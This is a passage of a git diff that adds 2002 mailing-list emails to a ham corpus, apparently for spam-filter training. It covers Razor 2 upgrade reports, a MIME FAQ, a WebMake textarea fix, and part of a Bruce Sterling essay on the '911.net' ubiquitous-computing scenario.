esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17gvFi-0005Wo-00; Mon, + 19 Aug 2002 15:44:02 -0700 +Received: from [208.7.1.205] (helo=everest.mckee.com) by + usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17gvEk-0002DH-00 for ; Mon, + 19 Aug 2002 15:43:02 -0700 +Received: (qmail 28387 invoked from network); 19 Aug 2002 17:39:47 -0000 +Received: from unknown (HELO belvoir) (208.7.1.202) by 208.7.1.205 with + SMTP; 19 Aug 2002 17:39:47 -0000 +Message-Id: <003601c247d1$c22de5c0$7c640f0a@mfc.corp.mckee.com> +From: "Fox" +To: +References: +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Subject: [Razor-users] Upgraded to Razor 2.14 +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 19 Aug 2002 18:42:55 -0400 +Date: Mon, 19 Aug 2002 18:42:55 -0400 + +I successfully made the leap to Razor 2.14. I did have a bit of trouble +with Digest::MD5 on Mandrake 8.1 and Mandrake 8.2. On each platform, I had +to reinstall the original version of Digest::MD5 over top of the Digest::MD5 +v2.20 that Razor-SDK installed. Otherwise, Perl refused to compile a thing. + +I should have some effectiveness stats on Razor 2 in a few days. We will +see what % of our corporation's spam it detects. + +Fox + + + + + +------------------------------------------------------- +This sf.net email is sponsored by: OSDN - Tired of that same old +cell phone? Get a new here for FREE! +https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + diff --git a/bayes/spamham/easy_ham_2/00659.02e6dd777f837798533eae8f3b6a0491 b/bayes/spamham/easy_ham_2/00659.02e6dd777f837798533eae8f3b6a0491 new file mode 100644 index 0000000..b8e8101 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00659.02e6dd777f837798533eae8f3b6a0491 @@ -0,0 +1,119 @@ +From webmake-talk-admin@lists.sourceforge.net Tue Aug 20 11:51:19 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E877243C36 + for ; Tue, 20 Aug 2002 06:51:13 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 11:51:13 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7K6a5Z27627 for ; Tue, 20 Aug 2002 07:36:05 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17h2cW-00059K-00; Mon, + 19 Aug 2002 23:36:04 -0700 +Received: from docserver.cac.washington.edu ([140.142.32.13]) by + usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) + (Exim 3.31-VA-mm2 #1 (Debian)) id 17h2cK-0006Px-00 for + ; Mon, 19 Aug 2002 23:35:52 -0700 +Received: (from daemon@localhost) by docserver.cac.washington.edu + (8.12.1+UW01.12/8.12.1+UW02.06) id g7K6KgNN014582 for webmake-talk + ; Mon, 19 Aug 2002 23:20:42 -0700 +Message-Id: <200208200620.g7K6KgNN014582@docserver.cac.washington.edu> +To: webmake-talk +From: UW Email Robot +Subject: [WM] The MIME information you requested (last changed 3154 Feb 14) +Sender: webmake-talk-admin@example.sourceforge.net +Errors-To: webmake-talk-admin@example.sourceforge.net +X-Beenthere: webmake-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion of WebMake. +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 19 Aug 2002 23:20:42 -0700 +Date: Mon, 19 Aug 2002 23:20:42 -0700 + +-------------------------------------------------------------------------- + +What is MIME? + +MIME stands for "Multipurpose Internet Mail Extensions". It is the +standard for how to send multipart, multimedia, and binary data using the +world-wide Internet email system. Typical uses of MIME include sending +images, audio, wordprocessing documents, programs, or even plain text +files when it is important that the mail system does not modify any part +of the file. MIME also allows for labelling message parts so that a +recipient (or mail program) may determine what to do with them. + +How can I read a MIME message? + +Since MIME is only a few years old, there are still some mailers in use +which do not understand MIME messages. However, there are a growing +number of mail programs that have MIME support built-in. (One popular +MIME-capable mailer for Unix, VMS and PCs is Pine, developed at the +University of Washington and available via anonymous FTP from the host +ftp.cac.washington.edu in the file /pine/pine.tar.Z) + +In addition, several proprietary email systems provide MIME translation +capability in their Internet gateway products. However, even if you do +not have access to a MIME-capable mailer or suitable gateway, there is +still hope! + +There are a number of stand-alone programs that can interpret a MIME +message. One of the more versatile is called "munpack". It was developed +at Carnegie Mellon University and is available via anonymous FTP from the +host ftp.andrew.cmu.edu in the directory pub/mpack/. There are versions +available for Unix, PC, Mac and Amiga systems. For compabibility with +older forms of transferring binary files, the munpack program can also +decode messages in split-uuencoded format. + +Does MIME replace UUENCODE? + +Yes. UUENCODE has been used for some time for encoding binary files so +that they can be sent via Internet mail, but it has several technical +limitations and interoperability problems. MIME uses a more robust +encoding called "Base64" which has been carefully designed to survive the +message transformations made by certain email gateways. + +How can I learn more about MIME? + +The MIME Internet standard is described in RFC-1521, available via +anonymous FTP from many different Internet hosts, including: + + o US East Coast + Address: ds.internic.net (198.49.45.10) + + o US West Coast + Address: ftp.isi.edu (128.9.0.32) + + o Pacific Rim + Address: munnari.oz.au (128.250.1.21) + + o Europe + Address: nic.nordu.net (192.36.148.17) + +Look for the file /rfc/rfc1521.txt + +Another source of information is the Internet news group "comp.mail.mime", +which includes a periodic posting of a "Frequently Asked Questions" list. + +-------------------------------------------------------------------------- + + +------------------------------------------------------- +This sf.net email is sponsored by: OSDN - Tired of that same old +cell phone? Get a new here for FREE! +https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 +_______________________________________________ +webmake-talk mailing list +webmake-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/webmake-talk + diff --git a/bayes/spamham/easy_ham_2/00660.c8c35d2043accdd060b0eafe48d1da18 b/bayes/spamham/easy_ham_2/00660.c8c35d2043accdd060b0eafe48d1da18 new file mode 100644 index 0000000..d2d5297 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00660.c8c35d2043accdd060b0eafe48d1da18 @@ -0,0 +1,70 @@ +From razor-users-admin@lists.sourceforge.net Tue Aug 20 15:31:35 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4E4EA43C32 + for ; Tue, 20 Aug 2002 10:31:35 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 15:31:35 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7KEU9Z10109 for ; Tue, 20 Aug 2002 15:30:09 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17h9vS-0005oe-00; Tue, + 20 Aug 2002 07:24:06 -0700 +Received: from [208.7.1.205] (helo=everest.mckee.com) by + usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17h9vL-0000kk-00 for ; Tue, + 20 Aug 2002 07:24:00 -0700 +Received: (qmail 28566 invoked from network); 20 Aug 2002 09:20:42 -0000 +Received: from unknown (HELO belvoir) (208.7.1.202) by 208.7.1.205 with + SMTP; 20 Aug 2002 09:20:42 -0000 +Message-Id: <009e01c24855$35b5c480$7c640f0a@mfc.corp.mckee.com> +From: "Fox" +To: +References: + <003601c247d1$c22de5c0$7c640f0a@mfc.corp.mckee.com> +Subject: Re: [Razor-users] Upgraded to Razor 2.14 +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 20 Aug 2002 10:23:52 -0400 +Date: Tue, 20 Aug 2002 10:23:52 -0400 + +I just want to say - RAZOR v2 ROCKS! Under Razor v1, we were doing good to +detect 20% of our spam with Razor. I have only had it running since last +night, but it is detecting a whopping 63%! Of course I would like to see +that number climb higher eventually, but that is a very big improvement! + + + + + +------------------------------------------------------- +This sf.net email is sponsored by: OSDN - Tired of that same old +cell phone? Get a new here for FREE! +https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + diff --git a/bayes/spamham/easy_ham_2/00661.cc133729fcb2b0dc9ea6b6de53aa39a5 b/bayes/spamham/easy_ham_2/00661.cc133729fcb2b0dc9ea6b6de53aa39a5 new file mode 100644 index 0000000..a65de44 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00661.cc133729fcb2b0dc9ea6b6de53aa39a5 @@ -0,0 +1,87 @@ +From razor-users-admin@lists.sourceforge.net Wed Aug 21 00:25:07 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E92F743C32 + for ; Tue, 20 Aug 2002 19:25:06 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 00:25:06 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7KNPBZ29482 for ; Wed, 21 Aug 2002 00:25:12 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17hICI-00075m-00; Tue, + 20 Aug 2002 16:14:02 -0700 +Received: from h-66-166-21-186.snvacaid.covad.net ([66.166.21.186] + helo=rover.vipul.net) by usw-sf-list1.sourceforge.net with esmtp (Exim + 3.31-VA-mm2 #1 (Debian)) id 17hIBQ-0003jK-00 for + ; Tue, 20 Aug 2002 16:13:08 -0700 +Received: (from vipul@localhost) by rover.vipul.net (8.11.6/8.11.6) id + g7KNCp103231; Tue, 20 Aug 2002 16:12:51 -0700 +From: Vipul Ved Prakash +To: Matt Bernstein +Cc: razor-users@example.sourceforge.net +Subject: Re: [Razor-users] when aggregator? +Message-Id: <20020820161250.A3211@rover.vipul.net> +Reply-To: mail@vipul.net +Mail-Followup-To: Matt Bernstein , + razor-users@lists.sourceforge.net +References: +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5i +In-Reply-To: ; + from mb/vipul@dcs.qmul.ac.uk on Tue, Aug 20, 2002 at 05:47:54PM +0100 +X-Operating-System: Linux rover.vipul.net 2.4.18 +X-Privacy: If possible, encrypt your reply. Key at http://vipul.net/ +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 20 Aug 2002 16:12:51 -0700 +Date: Tue, 20 Aug 2002 16:12:51 -0700 + +On Tue, Aug 20, 2002 at 05:47:54PM +0100, Matt Bernstein wrote: +> http://razor.sourceforge.net/docs/whatsnew.html says "Aggregator will be +> released with the next major release of Razor2 agents." I was told "soon" +> several months ago--has it stalled, or been released? If the former, can I +> grab a development snapshot to test for you? +> +> Matt + +The aggregator has been pushed back on the priority list because more +important things cropped up. I can't give you an ETA on it, but it's +very much on the TODO list. + +cheers, +vipul. + +-- + +Vipul Ved Prakash | "The future is here, it's just not +Software Design Artist | widely distributed." +http://vipul.net/ | -- William Gibson + + + +------------------------------------------------------- +This sf.net email is sponsored by: OSDN - Tired of that same old +cell phone? Get a new here for FREE! +https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + diff --git a/bayes/spamham/easy_ham_2/00662.8013a46a2c4e3ecd27a9cc16b5dedc70 b/bayes/spamham/easy_ham_2/00662.8013a46a2c4e3ecd27a9cc16b5dedc70 new file mode 100644 index 0000000..1172147 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00662.8013a46a2c4e3ecd27a9cc16b5dedc70 @@ -0,0 +1,68 @@ +From webmake-talk-admin@lists.sourceforge.net Thu Aug 22 11:53:31 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A3A4E43C34 + for ; Thu, 22 Aug 2002 06:53:31 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 22 Aug 2002 11:53:31 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7MAn3Z03140 for ; Thu, 22 Aug 2002 11:49:03 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17hpWU-0004OJ-00; Thu, + 22 Aug 2002 03:49:06 -0700 +Received: from mailout2-eri1.midsouth.rr.com ([24.165.200.7]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17hpW3-0002eZ-00 for ; Thu, + 22 Aug 2002 03:48:39 -0700 +Received: from cpe-024-024-103-227.midsouth.rr.com + (cpe-024-024-103-227.midsouth.rr.com [24.24.103.227]) by + mailout2-eri1.midsouth.rr.com (8.11.4/8.11.4) with ESMTP id g7MAl7k08533 + for ; Thu, 22 Aug 2002 05:47:07 -0500 + (CDT) +From: Joe Hester +To: webmake-talk@example.sourceforge.net +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.8 +Message-Id: <1030013234.11490.4.camel@mymachine.mydomain.com> +MIME-Version: 1.0 +Subject: [WM] Problem with textarea tags +Sender: webmake-talk-admin@example.sourceforge.net +Errors-To: webmake-talk-admin@example.sourceforge.net +X-Beenthere: webmake-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion of WebMake. +List-Unsubscribe: , + +List-Archive: +X-Original-Date: 22 Aug 2002 05:47:14 -0500 +Date: 22 Aug 2002 05:47:14 -0500 + +I had a problem with extra whitespace being added between textarea tags. +Solved the problem by adding textarea to $INLINE_TAGS= list in +HTMLCleaner.pm + +Hope this might help someone else +Joe + + + + +------------------------------------------------------- +This sf.net email is sponsored by: OSDN - Tired of that same old +cell phone? Get a new here for FREE! +https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 +_______________________________________________ +webmake-talk mailing list +webmake-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/webmake-talk + diff --git a/bayes/spamham/easy_ham_2/00663.660f0334bb6d89793e3d3bb5367cd9c1 b/bayes/spamham/easy_ham_2/00663.660f0334bb6d89793e3d3bb5367cd9c1 new file mode 100644 index 0000000..b0b0219 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00663.660f0334bb6d89793e3d3bb5367cd9c1 @@ -0,0 +1,460 @@ +From bruces@yami.57thstreet.com Mon Jul 22 17:54:50 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 69628440C8 + for ; Mon, 22 Jul 2002 12:54:43 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 17:54:43 +0100 (IST) +Received: from yami.57thstreet.com ([66.100.224.110]) by + dogma.slashnull.org (8.11.6/8.11.6) with SMTP id g6MFujd13636 for + ; Mon, 22 Jul 2002 16:56:46 +0100 +Received: (qmail 44612 invoked by uid 1045); 22 Jul 2002 15:55:30 -0000 +Date: 22 Jul 2002 15:55:30 -0000 +Message-Id: <20020722155530.44611.qmail@yami.57thstreet.com> +From: Bruce Sterling +To: yyyy@spamassassin.taint.org +Subject: Viridian Note 00324: 911.net + +Key concepts: ubiquitous computation, +emergency relief, Khaki Green, 911.net, +Terrorspace, Cradle.net, Battlespace, +Prosthetic Ubicomp, SO/HO Ubicomp, +Safetyspace, Street.net, Punish.net, +Industrial Ubicomp, Ubitopia + +Attention Conservation Notice: It's the +Pope-Emperor blue-skying it at some +computer industry event in Brussels. + +Links: + +I was there. +http://www.highgrounddesign.com/design/design.htm + +And then I went to Brussels and delivered this speech. +http://www.ttivanguard.com/ + +And next I'm going here! +http://conferences.oreillynet.com/os2002/ + +And right after that I'm going to another, weirder event +that I can't even tell you about! + +------------------------------------------- +Entries in the Global Civil Society Design Contest. + +From: Steven W. Schuldt +http://www.americanrobotz.com/images2/Soon_GlobalCivilSocietyLaptop.jpg + +From: Ben Davis +http://www.digitaleverything.com/GlobalComputer.htm + +From: Joerg F. Wittenberger +http://www.askemos.org/ +http://www.askemos.org:9080/RomePaper.pdf + +From: Scott Vandehey +http://spaceninja.com/viridian/notebook.html + +From: Bob Morris +http://viridianrepository.com/GlobalCivil/ + +From: Anonymous +http://home.freiepresse.de/befis/zx2000.html +http://apollo.spaceports.com/~bodo4all/zx/zx97.htm +http://www.vkb.co.il/ + +From: Jim Thompson +http://www.simputer.org +http://www.cnn.com/2002/TECH/ptech/07/05/india.simputer.reut/index.html + +From: Mike Rosing +http://www.eskimo.com/~eresrch/viridian + +From: till*tillwe.de (Till Westermayer) +Date: Sun Jul 14, 2002 05:38:00 PM US/Central + +"What do we need for a global civil society notebook? Six design +criteria are highlighted, combined with some rough sketches." + +http://www.westermayer.de/till/projekte/02gcsdl.htm + +Best regards, +Till Westermayer - till we *) +http://www.westermayer.de/till/index.htm + +This contest expires August 15, 2002. +-------------------------------------------------------- + + +Speech at TTI Vanguard: "Designing for Resiliency" +Conference + +"911.net" + +by Bruce Sterling + + Late last month I had the joy and privilege +of hanging out with a big crowd of American computer +scientists who were, basically, trying to find some +reasons to live. + + Despite all evidence to the contrary, they've +definitely got some reasons. + + When you go to a conference which is very high-energy, +with a lot of paradigmatic reassessment going on, where +ideas are being flung around bodily well outside the box, +well, that's an impressive thing. But it's my principle +as a sometime working journalist not to get all carried +away whenever I witness something like that. They might +well be drinking their own bathwater. This sort of thing +generally requires a reality check from some *other* +conference. + + So, I'm now fresh back from Colorado, from the yearly +meeting of the High Ground Design Conversation. These are +my best pals in the industrial design world, some dear, +long-time friends of mine, whose judgment I always trust. +And why would a science fiction writer trust the judgment +of industrial designers? Well, because they're very +*trendy.* They're very shrewd, and very stylish, and very +hands-on people. They're peculiarly self-effacing and modest, +yet quite imaginative. Better yet, they're even practical. +So they're kind of like science fiction writers, only with +much better shoes. + + Usually when I go to this High Ground event, I just +deliver some wacko chat about popular aspects of +cyberculture and then I take some worshipful notes. But! +I have to report that when I took them my notes from the +"CRA Grand Challenges in Computation" conference, I was +bringing the noise. + + This is the first time I have ever seen their jaws +drop. They're still kinda wringing their hands over the +dotcom boom and the Ka-boom. They miss those glory days of +the World Wide Web == because for them, that was the +Graphic Designers Full Employment Act. So they're pretty +broke, and they're a little shell-shocked, so I guess they +should join the club. But when I brought them *this* +stuff == a rather extensively worked-out vision in +worldbuilding from the point of view of ubiquitous +computation in the 21st century... Well, of course this +is merely a scenario, but to me, "911.net" smells like the +future. + + And frankly, it doesn't smell good. But that's all +right. Because these aren't good times. These are rather +harsh, dark times, and in its own peculiar way, 911.net is +a similarly harsh, dark concept. + + "Ubiquitous computation" is by no means a new idea. +The guy who invented the term is dead, and even his R&D +lab doesn't look all that great these days. Ubicomp has +been around for quite some time == in the table-napkin, +handwaving stage. But it's lacked the means, motive and +opportunity to get any real-world traction. + + I believe that may be changing. If so, it's mostly due +to the events of September 11. After that experience, +ubicomp has got motive and opportunity as it never had +before. And the means, although they are still +speculative, are starting to make some sense. + + What am I talking about when I use the term "ubicomp"? +Well, the term is a grab-bag, a congelation of different +technologies. Some are here, commercially available off +the shelf; some are in the lab; and some may be physically +impossible. + + Let's get down to some brass virtual tacks. What are +the key technical drivers for widely distributed, self- +organizing networks of sensors, processors and actuators, +embedded in the physical world? And what do you do with +these things? + + Okay, number one: fuel cells. Not chemical +batteries. Small, portable, dependable, long-lasting, +power sources with some punch. They may not be fuel cells +as they are now known. They might be MEMS fuel cells, or +aluminum-air cells, or something enzymatic, I don't care; +just something much, much better than today's batteries. +Portable power is the crux. Ubicomp's future, if it has one, +entirely hinges on this. If we don't get some seriously +advanced, portable sources of power then everything I am +about to tell you is a sci-fi phantasm. (Not that there's +anything wrong with that!) + + Number two, RFID. Radio-Frequency ID == gotta have +some taggers. Gotta be on the Net. It'd be nice if they +had some powered processors in them. Something internal, +pervasive, a little computational action that is going on +inside physical objects. + + Number three, wireless broadband. Getting real close +here. + + Number four, dongles. I think this part is seriously +underappreciated. This is the weird part of ubicomp, the +part that may turn out to be its Achilles heel: some way +to turn the damn thing off. And to *know* it's off. The +problem of the authorized user. The authorized +administrator, the authorized access. This is likely to +play out as ubicomp's functional equivalent of the +Internet's intellectual-property problem. In other words, +it's a very serious issue which is going to be neglected +from the get-go, as people are eagerly building the basic +infrastructure. Then, as they lamely try to build it in +later, they are going to find out that they have +inadvertently poisoned the water-stream for everybody. + + You don't want to wander into a Kazaa and Napster +version of George Orwell. Ubiquitous computation, unlike +information, does not "want to be free." This is not a +technology of freedom. Ubiquitous computation wants to +make you its slave. Try to remember that, for all our +sakes, all right? This is not a water-cooler for gossip, +like the Internet is. This is a hard-case, hard-times, +hands-on, rather ruthless command-and-control system. + + Number five, GPS, global positioning systems. Been +there, done that. + + Number six, convoy traffic. I think this is also +underestimated, for when I started looking at serious +applications for ubicomp, time and again, rapidly shipping +large amounts of physical material in and out of the +ubicomp zone is a killer application. Getting stuff in, +numbering it, assembling it, moving it out. Lots of it. +Train loads, truck loads, bus loads. And airlifts. + + Bringing up the van, a whole bunch of other ubi-stuff, +of varying degrees of use and practicality. High speed +fiber optic networks, check. Massive storage and routers, +check. Big databases, check, but they need to be fast and +flexible. Some "MobiHoc" action: mobile ad-hoc self- +assembling networks: networks that are always +reconfiguring in real-time, always on the move. + + Facial recognition has a considerable number of +ubicomp applications, by no means all of them good. Human +presence-sensing systems? Oh yes. Ruggedized hardware +suitable for outdoor deployment in all conditions and +weathers. Real-time simulation of ongoing major +situations. Toxin detectors of various kinds, +environmental monitoring of almost every sort, biometric +ID... I have a long list of these. I'm cross-checking +them. I'm using them to build scenarios. + + One thing about 911.net makes it very distinct from +earlier visions of ubicomp. This is not Microsoft Windows +for Housekeeping. This is a hard, tough web that you +throw down fast over dire emergencies. The key concept +here is that we are finally moving computation out of the +ivory tower, for good and all. No more glass boxes of the +1950s, no more clean abstractions of cyberspace. We are +deploying computation at unheard-of speed, into the +darkest, dirtiest, most dangerous places in the world. + + It is a resilient security apparatus for emergencies. +That is 911.net. + + Now, you might well argue that ubicomp is very +invasive of privacy. That's just what my industrial +design pals said about it, immediately, and they were +right. It's been hard to find reasonable deployments for +ubicomp in peacetime commerce and in private homes, +because it is so Orwellian. However. Under certain +circumstances, other social circumstances do trump this +issue. + + For instance, when you are breathing your last under a +pile of earthquake rubble, you don't really care much +about privacy under your circumstances. What you really +want is a smart bulldozer, a tourniquet, and some direct +pressure against your open wounds. And that is what +911.net is about == or will be about, should it find its +way out of the computer-science talking-shop and into +daylight. + + It is an emergency response system for the planet's +open wounds. And those wounds exist in plenty. There are +more of them all the time. + + I rather doubt that the Orwellian version of ubicomp +has much of a future. That's a scenario that I have +dubbed "Terrorspace", which is ubicomp in the context of +airports and nuclear power sites. If you've been in +airports recently, I believe you are seeing a pretty apt, +early version of Terrorspace. At any random moment, you +can have your possessions rifled through by strangers. +Your shoes are scanned, and various small but vital +objects in your pockets can be confiscated by semi- +educated security geeks. They're either pathetically +under-trained for the job (in which case you certainly +feel no safer), or else they are intelligent and capable +people (in which case you pity them and wish they had some +other job, for the sake of general human happiness and the +GNP). Rather than making us any safer, Terrorspace +airports serve as political indoctrination centers that +humiliate our voting population on a broad scale. They are +meant to inure us to ever-escalating levels of +governmental clumsiness and general harm. + + The difficulty with this Terrorspace approach is that +airports and airlines are going broke. Airports are +hemorrhaging money trying to maintain this terrorspace +apparatus. It is likely to spread to the brittle power of +nuclear power plants, nuclear waste dumps, bio-sites, +chemical sites, liquid petroleum gas centers and so forth. +That will hugely increase the overhead of all these +dangerous industries. + + That's a very considerable tax burden. So, though +Terrorspace may serve as a full employment program for the +loyal and slightly stupid, that's not going to pay off +socially or economically in the long run. + + However, 911.net is a different matter. An air- +deployable 911.net that allowed first responders to +rapidly deal with fires, floods and other major disasters +would *save* money, especially for the insurers, who are +already on the ropes. + + The actual September 11 event, 9/11, was a rare and +remarkable thing. And, with fewer than 3,000 people dead, +it's just not that big a deal as genuine catastrophes go. +Politically, theologically and militarily it was huge, but +a workaday 911.net wouldn't fret much about terrorism. +Instead, it would have to deal mostly with floods, fires, +climate change, earthquakes, volcanoes and (let's hope +never) asteroids and weapons of mass destruction. + + So, basically, with 911.net, we are describing a social +re-definition of computer geeks as firemen. Native +twenty-first century computer geeks as muscular, with-it, +first-responder types. I think this would be pretty good +for the computer industry. We all need to take the +dysfunctional physical world far more seriously. This +week, Italy's flooding, Texas is flooding, Colorado's on +fire. This morning, the brand-new wilderness forests +around the site of the former Chernobyl are on fire, +spewing radioactive ash hither and yon. Chunks of +Antarctica the size of Rhode Island have fallen into the +sea. I could go on. + + This is the sort of activity that humanity is required +to deal with in this new century. If we build a successful +method with which to do this, those useful tactics will +spread across the fabric of our civilization. I believe +they are already spreading. An innovation like 911.net +will likely serve as a camel's nose in the tent for a +whole series of ubicomp applications across society. + + I've been speculating about these new forms of +ubicomp, and giving them some flashy neologisms, because +that is what science fiction writers bring to the table. +We build little scenario worlds and make up names for +them. First we've got "911.net," then "Terrorspace," but +there are others. + +BATTLESPACE. A term already much-used by the Pentagon. +Battlespace means military C4ISR. The "Revolution in +Military Affairs." I would point out that the military, +unlike some sectors, is not reneging on their enthusiastic +commitment to the digital revolution. On the contrary. I +haven't seen anybody in the military saying that they long +to go back to the good-old-fashioned, solid, easy-to- +understand methods of the War in Vietnam. The military +are very into "network-centric warfare," and they couldn't +be happier about their spysats and surveillance drones. + +PROSTHETIC UBICOMP. This is eldercare. A huge, steadily +growing market. Alzheimer's disease is a flat-out domestic +catastrophe that lasts seven years. Any computational +help here == in elder-proofing spaces, tracking the sick +and so forth == would be of huge benefit to society. + +CRADLE.NET. Babies have no privacy. Children have little +privacy. Child-proofing a room against a crawling tot... +if you've ever done this, you can realize how much use it +might be to have this process automated. Any two-year-old +always wonders: "Why can't Mr Fork and Miss Wall Socket +be friends?" A real-time checklist, at the very least! +And then we're faced with the interesting, large-scale +prospects of "K-12.net." + +STREET.NET. This would be traffic management and urban +systems management. Water networks, power networks, +subways, sidewalks and so forth. + +PUNISH.NET. Two million people are in the American prison +population. They've got no privacy. They've gotta be +watched all the time. They're basically crammed in iron +cages now. + +INDUSTRIAL UBICOMP. Managing supply chains, industrial +assembly and so forth. This will eventually be the +biggest application. + +SO/HO UBICOMP. Ubicomp in the home, the home office and +small office. Some very interesting consumer uses here, +but in the grand scheme of things, not that big a deal. + +SAFETYSPACE. These would be military bases, U.N. safety +zones, refugee camps, and disaster evacuation centers. +It's fairly easy to imagine ubiquitous computation as a +sinister "gated community" that walls off privileged areas +under threat. But we can also think of it as importing +some human comfort, solidarity, mercy and safety into +various benighted areas that are severely disturbed. One +can imagine a Gorazde UN safe zone version of this, new +and improved of course: a black helicopter ghosts over in +the dead of night, deploys a scattering of small drones, +smart-mines and sensors, and 